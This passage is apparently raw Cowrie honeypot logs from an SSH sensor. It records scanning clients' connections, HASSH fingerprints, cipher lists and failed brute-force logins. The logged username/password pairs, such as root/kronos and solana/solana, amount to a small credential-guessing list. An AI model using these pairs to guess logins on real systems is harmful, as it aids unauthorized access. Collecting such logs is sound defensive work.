16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:49:05.988716Z","src_ip":"38.93.206.2","session":"45af044b2c45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11061992","message":"login attempt [root/11061992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:49:06.167102Z","src_ip":"38.93.206.2","session":"45af044b2c45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789qwertyu","message":"login attempt [root/123456789qwertyu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:49:06.626696Z","src_ip":"103.153.68.219","session":"e749c4cbbcd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:49:07.222585Z","src_ip":"38.93.206.2","session":"45af044b2c45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:49:07.875578Z","src_ip":"103.153.68.219","session":"e749c4cbbcd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.118.145","src_port":49888,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b2917dc1bb1","protocol":"ssh","message":"New connection: 14.103.118.145:49888 (159.203.135.109:22) [session: 1b2917dc1bb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:49:24.679345Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":60782,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e2c2674e41a","protocol":"ssh","message":"New connection: 193.228.128.84:60782 (159.203.135.109:22) [session: 6e2c2674e41a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:50:13.186326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:50:13.195590Z","src_ip":"193.228.128.84","session":"6e2c2674e41a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:50:13.298806Z","src_ip":"193.228.128.84","session":"6e2c2674e41a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:50:13.629565Z","src_ip":"193.228.128.84","session":"6e2c2674e41a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:50:14.743799Z","src_ip":"193.228.128.84","session":"6e2c2674e41a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00173664093018,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:50:20.965612Z","src_ip":"38.211.253.121","session":"e63e130cda4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":43010,"dst_ip":"159.203.135.109","dst_port":22,"session":"c57415e7b817","protocol":"ssh","message":"New connection: 147.45.197.250:43010 (159.203.135.109:22) [session: c57415e7b817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:50:30.918083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:50:30.924849Z","src_ip":"147.45.197.250","session":"c57415e7b817","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:50:31.010492Z","src_ip":"147.45.197.250","session":"c57415e7b817","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kronos","message":"login attempt [root/kronos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:50:31.262721Z","src_ip":"147.45.197.250","session":"c57415e7b817","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:50:32.350579Z","src_ip":"147.45.197.250","session":"c57415e7b817","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":43480,"dst_ip":"10.17.0.5","dst_port":22,"session":"de47ef5eaa33","protocol":"ssh","message":"New connection: 20.203.42.204:43480 (10.17.0.5:22) [session: de47ef5eaa33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:51:04.909414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:51:04.915317Z","src_ip":"20.203.42.204","session":"de47ef5eaa33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:51:05.088850Z","src_ip":"20.203.42.204","session":"de47ef5eaa33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:51:05.797751Z","src_ip":"20.203.42.204","session":"de47ef5eaa33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:51:06.970188Z","src_ip":"20.203.42.204","session":"de47ef5eaa33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.182.78","src_port":54302,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cf4a950bde5","protocol":"ssh","message":"New connection: 160.251.182.78:54302 (159.203.135.109:22) [session: 7cf4a950bde5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:51:09.170022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:51:09.174704Z","src_ip":"160.251.182.78","session":"7cf4a950bde5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:51:09.351413Z","src_ip":"160.251.182.78","session":"7cf4a950bde5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yw","password":"yw@123","message":"login attempt [yw/yw@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:51:10.088314Z","src_ip":"160.251.182.78","session":"7cf4a950bde5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:51:11.269556Z","src_ip":"160.251.182.78","session":"7cf4a950bde5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:51:24.698408Z","src_ip":"14.103.118.145","session":"1b2917dc1bb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":39180,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c97fa24ec15","protocol":"ssh","message":"New connection: 103.98.149.87:39180 (10.17.0.5:22) [session: 4c97fa24ec15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:52:06.530784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:52:06.642884Z","src_ip":"103.98.149.87","session":"4c97fa24ec15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:52:06.957092Z","src_ip":"103.98.149.87","session":"4c97fa24ec15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"atlant","message":"login attempt [root/atlant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:52:08.065778Z","src_ip":"103.98.149.87","session":"4c97fa24ec15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:52:09.392367Z","src_ip":"103.98.149.87","session":"4c97fa24ec15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.56","src_port":38854,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f9fb200a756","protocol":"ssh","message":"New connection: 45.144.233.56:38854 (10.17.0.5:22) [session: 9f9fb200a756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:52:11.422973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:52:11.428038Z","src_ip":"45.144.233.56","session":"9f9fb200a756","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:52:11.523057Z","src_ip":"45.144.233.56","session":"9f9fb200a756","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd12345678","message":"login attempt [root/Abcd12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:52:11.927886Z","src_ip":"45.144.233.56","session":"9f9fb200a756","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:52:13.028376Z","src_ip":"45.144.233.56","session":"9f9fb200a756","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.118.145","src_port":42826,"dst_ip":"159.203.135.109","dst_port":22,"session":"7228ed94dc76","protocol":"ssh","message":"New connection: 14.103.118.145:42826 (159.203.135.109:22) [session: 7228ed94dc76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:52:14.146358Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":40166,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1916c7b95f5","protocol":"ssh","message":"New connection: 80.94.92.168:40166 (10.17.0.5:22) [session: e1916c7b95f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:52:22.732615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:52:23.246035Z","src_ip":"80.94.92.168","session":"e1916c7b95f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:52:23.257883Z","src_ip":"80.94.92.168","session":"e1916c7b95f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:52:25.414397Z","src_ip":"80.94.92.168","session":"e1916c7b95f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:52:27.134414Z","src_ip":"80.94.92.168","session":"e1916c7b95f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":45182,"dst_ip":"159.203.135.109","dst_port":22,"session":"d27fb38e51dc","protocol":"ssh","message":"New connection: 103.149.170.125:45182 (159.203.135.109:22) [session: d27fb38e51dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:53:15.949656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:53:15.954587Z","src_ip":"103.149.170.125","session":"d27fb38e51dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","